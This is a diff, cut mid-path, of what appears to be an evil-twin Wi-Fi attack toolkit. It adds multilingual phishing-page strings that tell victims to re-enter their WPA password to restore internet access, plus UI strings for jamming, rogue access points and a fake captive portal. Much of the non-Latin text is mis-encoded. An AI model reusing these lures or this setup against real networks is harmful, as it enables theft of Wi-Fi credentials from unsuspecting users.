Portal/generic/languages/Hebrew.lang b/attacks/Captive Portal/generic/languages/Hebrew.lang new file mode 100644 index 0000000..2a62d40 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Hebrew.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="מטעמי ×בטחה, יש להזין ×ת סיסמת הרשת ×”×לחוטית (WPA)עבור קבלת גישה ל×ינטרנט." +DIALOG_WEB_INPUT="הזן ×ת סיסמת ×”WPA:" +DIALOG_WEB_SUBMIT="שלח" +DIALOG_WEB_ERROR="שגי××”: הסיסמה שגויה!" +DIALOG_WEB_OK="החיבור ל×ינטרנט יוחזר בעוד כמה רגעי×." +DIALOG_WEB_BACK="×חורה" +DIALOG_WEB_ERROR_MSG="זהו שדה חובה." +DIALOG_WEB_LENGTH_MIN="הסיסמה חייבת להכיל יותר מ{0} תוי×!" +DIALOG_WEB_LENGTH_MAX="הסיסמה חייבת להכיל פחות מ{0} תוי×!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Hungarian.lang b/attacks/Captive Portal/generic/languages/Hungarian.lang new file mode 100644 index 0000000..4ca2e2e --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Hungarian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez" +DIALOG_WEB_INPUT="WPA jelszó:" +DIALOG_WEB_SUBMIT="Küldés" +DIALOG_WEB_ERROR="Hiba: A megadott jelszó helytelen!" +DIALOG_WEB_OK="Az Internet kapcsolat helyreállt. " +DIALOG_WEB_BACK="Vissza" +DIALOG_WEB_ERROR_MSG="A jelszót kötelezÅ‘ megadni." +DIALOG_WEB_LENGTH_MIN="A jelszó nem lehet kevesebb, mint {0} karakter!" +DIALOG_WEB_LENGTH_MAX="A jelszó kevesebb mint {0} karakter kell hogy legyen!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Indonesian.lang b/attacks/Captive Portal/generic/languages/Indonesian.lang new file mode 100644 index 0000000..9926d72 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Indonesian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet." +DIALOG_WEB_INPUT="Masukkan WPA KEY (password wifi) anda:" +DIALOG_WEB_SUBMIT="Masukkan" +DIALOG_WEB_ERROR="Error: Password yang anda masukkan tidak sesuai!" +DIALOG_WEB_OK="Anda akan dapat mengakses Internet dalam beberapa saat lagi." +DIALOG_WEB_BACK="Kembali" +DIALOG_WEB_ERROR_MSG="Kolom ini wajib diisi." +DIALOG_WEB_LENGTH_MIN="Password harus lebih dari {0} karakter!" +DIALOG_WEB_LENGTH_MAX="Password harus kurang dari {0} karakter!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Italian.lang b/attacks/Captive Portal/generic/languages/Italian.lang new file mode 100644 index 0000000..d0863f8 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Italian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet" +DIALOG_WEB_INPUT="Inserisci la tua password WPA:" +DIALOG_WEB_SUBMIT="Invia" +DIALOG_WEB_ERROR="Errore: La password non è corretta!" +DIALOG_WEB_OK="La connessione sarà ripristinata in pochi istanti." +DIALOG_WEB_BACK="Indietro" +DIALOG_WEB_ERROR_MSG="Campo obbligatorio." +DIALOG_WEB_LENGTH_MIN="La password deve essere superiore a {0} caratteri" +DIALOG_WEB_LENGTH_MAX="La password deve essere inferiore a {0} caratteri" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Norweigan.lang b/attacks/Captive Portal/generic/languages/Norweigan.lang new file mode 100644 index 0000000..ef4f1b6 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Norweigan.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Av sikkerhetsmessige Ã¥rsaker mÃ¥ WPA-nøkkelen skrives inn for Ã¥ fÃ¥ tilgang til internett" +DIALOG_WEB_INPUT="Skriv inn ditt WPA-passord:" +DIALOG_WEB_SUBMIT="Send inn" +DIALOG_WEB_ERROR="Feilmelding: Passordet du skrev inn er IKKE riktig!" +DIALOG_WEB_OK="Din tilkobling vil snart bli gjenopprettet." +DIALOG_WEB_BACK="Tilbake" +DIALOG_WEB_ERROR_MSG="Dette feltet er nødvendig." +DIALOG_WEB_LENGTH_MIN="Passordet mÃ¥ inneholde mer enn {0} tegn" +DIALOG_WEB_LENGTH_MAX="Passordet mÃ¥ inneholde ferre enn {0} tegn" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Polish.lang b/attacks/Captive Portal/generic/languages/Polish.lang new file mode 100644 index 0000000..39e308a --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Polish.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Ze wzglÄ™dów bezpieczeÅ„stwa, wprowadź klucz WPA, aby uzyskać dostÄ™p do Internetu" +DIALOG_WEB_INPUT="Wprowadź hasÅ‚o WPA:" +DIALOG_WEB_SUBMIT="Zatwierdź" +DIALOG_WEB_ERROR="BÅ‚Ä…d: Wprowadzone hasÅ‚o nie jest poprawne!" +DIALOG_WEB_OK="PoÅ‚Ä…czenie z Internetem zostanie przywrócone w ciÄ…gu kilku chwil." +DIALOG_WEB_BACK="Powrót" +DIALOG_WEB_ERROR_MSG="To pole jest obowiÄ…zkowe." +DIALOG_WEB_LENGTH_MIN="Podane hasÅ‚o jest za krótkie HasÅ‚o musi zawierać wiÄ™cej niż {0} znaków!" +DIALOG_WEB_LENGTH_MAX="Podane hasÅ‚o jest za dÅ‚ugie. HasÅ‚o musi być mniejsza niż {0} znaków!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Portuguese.lang b/attacks/Captive Portal/generic/languages/Portuguese.lang new file mode 100644 index 0000000..e5f90cb --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Portuguese.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Por razões de segurança, digite a senha para acessar a Internet" +DIALOG_WEB_INPUT="Digite novamente a senha do Wifi" +DIALOG_WEB_SUBMIT="Enviar" +DIALOG_WEB_ERROR="Erro: A senha digitada está incorreta!" +DIALOG_WEB_OK="A sua conexão será restaurada em breve." +DIALOG_WEB_BACK="Voltar" +DIALOG_WEB_ERROR_MSG="Campo de preenchimento obrigatório." +DIALOG_WEB_LENGTH_MIN="A senha deve ter mais de {0} caracteres" +DIALOG_WEB_LENGTH_MAX="A chave deve ser menor que {0} caracteres" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Romanian.lang b/attacks/Captive Portal/generic/languages/Romanian.lang new file mode 100644 index 0000000..bece355 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Romanian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Din motive de securitate, introduceÈ›i cheia WPA pentru a avea acces la Internet" +DIALOG_WEB_INPUT="Parola WPA:" +DIALOG_WEB_SUBMIT="Trimite" +DIALOG_WEB_ERROR="Eroare: Parola introdusa nu este corecta!" +DIALOG_WEB_OK="Conexiunea la Internet va porni in cateva momente." +DIALOG_WEB_BACK="Inapoi" +DIALOG_WEB_ERROR_MSG="Acest câmp este obligatoriu." +DIALOG_WEB_LENGTH_MIN="Parola trebuie să fie mai mare de {0} de caractere!" +DIALOG_WEB_LENGTH_MAX="Parola trebuie să fie mai mică de {0} de caractere!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Russian.lang b/attacks/Captive Portal/generic/languages/Russian.lang new file mode 100644 index 0000000..ac231e8 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Russian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ñтупа в Интернет нужно ввеÑти WPA пароль Ñвоей точки доÑтупа." +DIALOG_WEB_INPUT="Введите пароль:" +DIALOG_WEB_SUBMIT="Отправить" +DIALOG_WEB_ERROR="Ошибка: Введенный пароль не верный!" +DIALOG_WEB_OK="СпаÑибо, Ñоединение воÑÑтановитÑÑ Ñ‡ÐµÑ€ÐµÐ· неÑколько Ñекунд." +DIALOG_WEB_BACK="Ðазад" +DIALOG_WEB_ERROR_MSG="Это поле необходимо заполнить." +DIALOG_WEB_LENGTH_MIN="Пароль должен быть не менее {0} Ñимволов!" +DIALOG_WEB_LENGTH_MAX="Пароль должен быть не более {0} Ñимволов!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Serbian.lang b/attacks/Captive Portal/generic/languages/Serbian.lang new file mode 100644 index 0000000..5293af6 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Serbian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Zbog sigurnosnih razloga, unesite WPA kljuÄ da bi ste pristupili internetu." +DIALOG_WEB_INPUT="Unesite vaÅ¡u WPA Å¡ifru:" +DIALOG_WEB_SUBMIT="Potvrdi" +DIALOG_WEB_ERROR="GreÅ¡ka: Å ifra koju ste uneli nije taÄna!" +DIALOG_WEB_OK="VaÅ¡a konekcija će biti restartovana za par sekundi." +DIALOG_WEB_BACK="Nazad" +DIALOG_WEB_ERROR_MSG="Ovo polje je obavezno." +DIALOG_WEB_LENGTH_MIN="Å ifra mora biti duža od {0} simbola!" +DIALOG_WEB_LENGTH_MAX="Å ifra mora biti kraća od {0} simbola!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Slovak.lang b/attacks/Captive Portal/generic/languages/Slovak.lang new file mode 100644 index 0000000..763d9cb --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Slovak.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Ospravedlňujeme sa, ale nastal problém so zabezpeÄením vaÅ¡eho bezdrôtového routeru. Zadejte prosím znovu vaÅ¡e heslo." +DIALOG_WEB_INPUT="VaÅ¡e heslo WPA/WPA2:" +DIALOG_WEB_SUBMIT="PripojiÅ¥" +DIALOG_WEB_ERROR="Chyba: Zadané heslo nieje správne!" +DIALOG_WEB_OK="ÄŽakujeme, vaÅ¡e pripojenie bude v priebehu krátkej chvíle obnovené." +DIALOG_WEB_BACK="Späť" +DIALOG_WEB_ERROR_MSG="Toto pole musíte vyplniÅ¥." +DIALOG_WEB_LENGTH_MIN="Heslo musí byÅ¥ dlhÅ¡ie ako {0} znak(ov)!" +DIALOG_WEB_LENGTH_MAX="Heslo musí byÅ¥ kratÅ¡ie ako {0} znak(ov)!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Slovenian.lang b/attacks/Captive Portal/generic/languages/Slovenian.lang new file mode 100644 index 0000000..c7c5f33 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Slovenian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Zaradi varnostnih razlogov vnesite WPA kljuÄ, da lahko dostopate do interneta!" +DIALOG_WEB_INPUT="Vnesite vaÅ¡e WPA geslo:" +DIALOG_WEB_SUBMIT="PoÅ¡lji" +DIALOG_WEB_ERROR="Napaka: Vneseno geslo je napaÄno!" +DIALOG_WEB_OK="VaÅ¡ dostop do interneta bo omogoÄen v nekaj sekundah." +DIALOG_WEB_BACK="Nazaj" +DIALOG_WEB_ERROR_MSG="To polje je obvezno!." +DIALOG_WEB_LENGTH_MIN="Geslo more biti daljÅ¡e od {0} znakov!" +DIALOG_WEB_LENGTH_MAX="Geslo more biti krajÅ¡e od {0} znakov!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Spanish.lang b/attacks/Captive Portal/generic/languages/Spanish.lang new file mode 100644 index 0000000..b552f8c --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Spanish.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Por razones de seguridad, teclea tu clave WIFI para acceder a internet" +DIALOG_WEB_INPUT="Teclea tu contraseña WIFI:" +DIALOG_WEB_SUBMIT="Enviar" +DIALOG_WEB_ERROR="Error: La contraseña introducida no es correcta" +DIALOG_WEB_OK="Tu conexión será restaurada en unos pocos minutos" +DIALOG_WEB_BACK="Atrás" +DIALOG_WEB_ERROR_MSG="Este campo es obligatorio." +DIALOG_WEB_LENGTH_MIN="La contraseña debe ser más de {0} caracteres!" +DIALOG_WEB_LENGTH_MAX="La contraseña debe ser menos de {0} caracteres!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Thai.lang b/attacks/Captive Portal/generic/languages/Thai.lang new file mode 100644 index 0000000..01f6f25 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Thai.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="à¸à¸£à¸¸à¸“าà¸à¸£à¸­à¸à¸£à¸«à¸±à¸ªà¸œà¹ˆà¸²à¸™ WIFI เพื่อให้à¹à¸™à¹ˆà¹ƒà¸ˆà¸§à¹ˆà¸²à¸—่านไม่ใช่ Robot ในà¸à¸²à¸£à¹ƒà¸Šà¹‰à¸‡à¸²à¸™à¸­à¸´à¸™à¹€à¸•à¸­à¸£à¹Œà¹€à¸™à¹‡à¸•." +DIALOG_WEB_INPUT="à¸à¸£à¸­à¸à¸£à¸«à¸±à¸ªà¸œà¹ˆà¸²à¸™ WIFI ของท่าน:" +DIALOG_WEB_SUBMIT="ยืนยัน" +DIALOG_WEB_ERROR="เà¸à¸´à¸”ข้อผิดพลาด: รหัสผ่านไม่ถูà¸à¸•à¹‰à¸­à¸‡" +DIALOG_WEB_OK="à¸à¸£à¸¸à¸“ารอสัà¸à¸„รู่..ระบบà¸à¸³à¸¥à¸±à¸‡à¸žà¸²à¸—่านไปยังเว็บไซต์à¸à¹ˆà¸­à¸™à¸«à¸™à¹‰à¸²..." +DIALOG_WEB_BACK="à¸à¸¥à¸±à¸š" +DIALOG_WEB_ERROR_MSG="à¸à¸£à¸¸à¸“าà¸à¸£à¸­à¸à¸Šà¹ˆà¸­à¸‡à¸™à¸µà¹‰!" +DIALOG_WEB_LENGTH_MIN="รหัสผ่านควรมีมาà¸à¸à¸§à¹ˆà¸² {0} ตัวอัà¸à¸©à¸£!" +DIALOG_WEB_LENGTH_MAX="รหัสผ่านควรมีอย่างน้อย {0} ตัวอัà¸à¸©à¸£!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Turkish.lang b/attacks/Captive Portal/generic/languages/Turkish.lang new file mode 100644 index 0000000..ac8ed3c --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Turkish.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Ä°nternet'e eriÅŸmek icin WPA kablosuz aÄŸ ÅŸifrenizi giriniz:" +DIALOG_WEB_INPUT="Lütfen parolanızı giriniz:" +DIALOG_WEB_SUBMIT="GiriÅŸ" +DIALOG_WEB_ERROR="Hata: girilen ÅŸifre doÄŸru deÄŸil! " +DIALOG_WEB_OK="BaÄŸlantı birkaç dakika içinde yapılandırılacaktır." +DIALOG_WEB_BACK="Geri" +DIALOG_WEB_ERROR_MSG="Bu alanın doldurulması zorunludur." +DIALOG_WEB_LENGTH_MIN="Parola en az {0} karakterden olmalıdır." +DIALOG_WEB_LENGTH_MAX="Parola {0} karakterden daha fazla olmamalıdır." +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/language/ar.sh b/attacks/Captive Portal/language/ar.sh new file mode 100644 index 0000000..3760862 --- /dev/null +++ b/attacks/Captive Portal/language/ar.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="إختر بطاقة شبكة من أجل التشويش." +CaptivePortalAccessPointInterfaceQuery="إختر بطاقة شبكة لتكون نقطة الوصول." +CaptivePortalCannotStartInterfaceError="${CRed}غير قادر على بدء واجهة البوابة المقيدة$CClr, returning!" +CaptivePortalStaringAPServiceNotice="بدء تشغيل خدمة نقطة الوصول للبوابة المقيدة..." +CaptivePortalStaringAPRoutesNotice="بدء توجيه مسارات نقطة الوصول المقيدة..." +CaptivePortalStartingDHCPServiceNotice="بدء تشغيل خدمة الـ DHCP لنقطة الوصول ÙÙŠ الخلÙية..." +CaptivePortalStartingDNSServiceNotice="بدء تشغيل خدمة الـ DNS لنقطة الوصول ÙÙŠ الخلÙية..." +CaptivePortalStartingWebServiceNotice="بدء تشغيل خدمة الـ WEB لنقطة الوصول ÙÙŠ الخلÙية..." +CaptivePortalStartingJammerServiceNotice="بدء تشغيل التشويش لنقطة الوصول ÙÙŠ الخلÙية..." +CaptivePortalStartingAuthenticatorServiceNotice="بدء برنامج المصادقة النصي..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="إختر خدمة نقطة وصول" +CaptivePortalAPServiceHostapdOption="نقطة الوصول الاحتيالية - hostapd (${CGrn}مستحسن$CClr)" +CaptivePortalAPServiceAirbaseOption="نقطة الوصول الاحتيالية - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="إختر طريقة التحقق من كلمة المرور" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="حدد مصدر شهادة SSL الخاص بالبوابة المقيدة." +CaptivePortalCertificateSourceGenerateOption="قم بإنشاء شهادة SSL" +CaptivePortalCertificateSourceRescanOption="كش٠شهادة SSL (${CClr}بحث مجددا$CGry)" +CaptivePortalCertificateSourceDisabledOption="لا شيء (${CYel}تعطيل SSL$CGry)" +CaptivePortalUIQuery="إختر بطاقة شبكة من أجل البوابة المقيدة للشبكة الاحتيالية." +CaptivePortalGenericInterfaceOption="بوابة عامة" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="حدد نوع اتصال إنترنت للشبكة الاحتيالية." +CaptivePortalConnectivityDisconnectedOption="قطع الاتصال (${CGrn}مستحسن$CClr)" +CaptivePortalConnectivityEmulatedOption="محاكات" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/cs.sh b/attacks/Captive Portal/language/cs.sh new file mode 100755 index 0000000..1ab26ec --- /dev/null +++ b/attacks/Captive Portal/language/cs.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Portugalský Portál +# description: Vytvoří přístupový bod "zlý dvojÄe". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="METHODA ZÃSKÃNà HESLA" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/de.sh b/attacks/Captive Portal/language/de.sh new file mode 100755 index 0000000..3782dbc --- /dev/null +++ b/attacks/Captive Portal/language/de.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Gefangenes Portal +# description: Erstellt einen "bösen Zwilling" Zugangspunkt. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Es ist nicht möglich den AP zu starten$CClr, rückkehr!" +CaptivePortalStaringAPServiceNotice="Starte AP Service" +CaptivePortalStaringAPRoutesNotice="Starte den routing Service " +CaptivePortalStartingDHCPServiceNotice="Starte den DHCP Service" +CaptivePortalStartingDNSServiceNotice="Starte den DNS Service." +CaptivePortalStartingWebServiceNotice="Starte den AP" +CaptivePortalStartingJammerServiceNotice="Starte mdk3 als Service" +CaptivePortalStartingAuthenticatorServiceNotice="Authentifizierungsskript wird gestartet" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Methode zum Prüfen des Handshake" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Wähle die Quelle für das SSL Zertifikat " +CaptivePortalCertificateSourceGenerateOption="Erstelle das SSL Zertifikat" +CaptivePortalCertificateSourceRescanOption="Zertifikat wurde nicht erkannt" +CaptivePortalCertificateSourceDisabledOption="Kein Zertifikat (${CYel}SSL wird deaktiviert $CGry)" +CaptivePortalUIQuery="Wähle Interface für den unechten AP" +CaptivePortalGenericInterfaceOption="Gernerische Router Seiten" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Wähle die Methode für die Internet verbindung" +CaptivePortalConnectivityDisconnectedOption="Getrennt (${CGrn}Emfohlen$CClr)" +CaptivePortalConnectivityEmulatedOption="Emuliert" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/el.sh b/attacks/Captive Portal/language/el.sh new file mode 100755 index 0000000..3c0a715 --- /dev/null +++ b/attacks/Captive Portal/language/el.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: ΠÏλη αιχμαλωσίας +# description: ΔημιουÏγεί ένα σημείο Ï€Ïόσβασης "κακό δίδυμο". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Αδυνατον να ξεκινησω το πεÏιβάλλον της πυλης αιχμαλωσιας$CClr, επιστÏεφω!" +CaptivePortalStaringAPServiceNotice="Ξεκιναω την υπηÏεσία για το πεÏιβάλλον της Ï€Ïλης αιχμαλωσίας..." +CaptivePortalStaringAPRoutesNotice="Ξεκιναω τις διαδÏομες για το πεÏιβάλλον της Ï€Ïλης αιχμαλωσίας..." +CaptivePortalStartingDHCPServiceNotice="Ξεκιναω τις υπηÏεσίες του δικτυου Ï€Ïόσβασης DHCP σαν daemon..." +CaptivePortalStartingDNSServiceNotice="Ξεκιναω τις υπηÏεσιες DNS του δικτÏου Ï€Ïόσβασης σαν daemon..." +CaptivePortalStartingWebServiceNotice="Ξεκιναω την πυλη αιχμαλωσίας του δικτÏου Ï€Ïόσβασης σαν daemon..." +CaptivePortalStartingJammerServiceNotice="Ξεκιναω τον παÏεμβολεα του δικτÏου Ï€Ïόσβασης σαν daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Ξεκιναω το Ï€ÏόγÏαμμα επιβεβαίωσης..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Μέθοδος επαλήθευσης ÎºÏ‰Î´Î¹ÎºÎ¿Ï Ï€Ïόσβασης" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Διαλεξε την πηγη του Ï€Î¹ÏƒÏ„Î¿Ï€Î¿Î¹Î·Ï„Î¹ÎºÎ¿Ï SSL για την Ï€Ïλη αιχμαλωσίας." +CaptivePortalCertificateSourceGenerateOption="ΔημιουÏγηστε ενα πιστοποιητικό SSL" +CaptivePortalCertificateSourceRescanOption="Ανιχνευση Ï€Î¹ÏƒÏ„Î¿Ï€Î¿Î¹Î·Ï„Î¹ÎºÎ¿Ï (${CClr}Ψαξε ξανά$CGry)" +CaptivePortalCertificateSourceDisabledOption="Κανένα (${CYel} απενεÏγοποίηση SSL$CGry)" +CaptivePortalUIQuery="Διαλεξε διεπαφή της Ï€Ïλης αιχμαλωσίας για το κακοβουλο δίκτυο." +CaptivePortalGenericInterfaceOption="Γενική ΠÏλη" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Διαλεξτε Ï„Ïοπο δικτÏωσης για το κακόβουλο Δίκτυο." +CaptivePortalConnectivityDisconnectedOption="Αποσυνδεδεμενο (${CGrn}Ï€Ïοτεινωμενο$CClr)" +CaptivePortalConnectivityEmulatedOption="Ï€Ïοσποιητα συνδεδεμενο" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/en.sh b/attacks/Captive Portal/language/en.sh new file mode 100755 index 0000000..0b6723e --- /dev/null +++ b/attacks/Captive Portal/language/en.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" 